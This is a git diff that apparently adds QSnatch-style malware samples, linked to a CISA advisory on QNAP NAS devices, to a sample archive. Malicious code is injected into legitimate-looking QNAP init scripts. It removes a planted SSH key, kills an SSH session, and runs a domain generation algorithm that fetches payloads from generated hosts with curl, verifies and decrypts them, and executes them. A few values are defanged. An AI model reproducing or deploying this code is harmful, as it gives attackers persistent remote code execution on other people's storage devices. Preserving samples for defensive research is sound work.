'miOGcmendZU2r10SdZVplBQ4i' "$authkeysfile"; then +sed -i '/miOGcmendZU2r10SdZVplBQ4i/d' "$authkeysfile" +lsofout="$(lsof +c 0 -i -n -P | grep :51163)" +sshpid="$(echo "$lsofout" | tr -s ' ' | cut -d ' ' -f 2 | head -n 1)" +kill -2 "$sshpid" +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 new file mode 100644 index 0000000..324bb4c --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 @@ -0,0 +1,510 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/NOPE; exit 1; } +esac +{ /share/MD0_DATA/NOPE; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='NOPE' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/NOPE; exit 0; } +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 new file mode 100644 index 0000000..9dee322 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 @@ -0,0 +1,511 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> 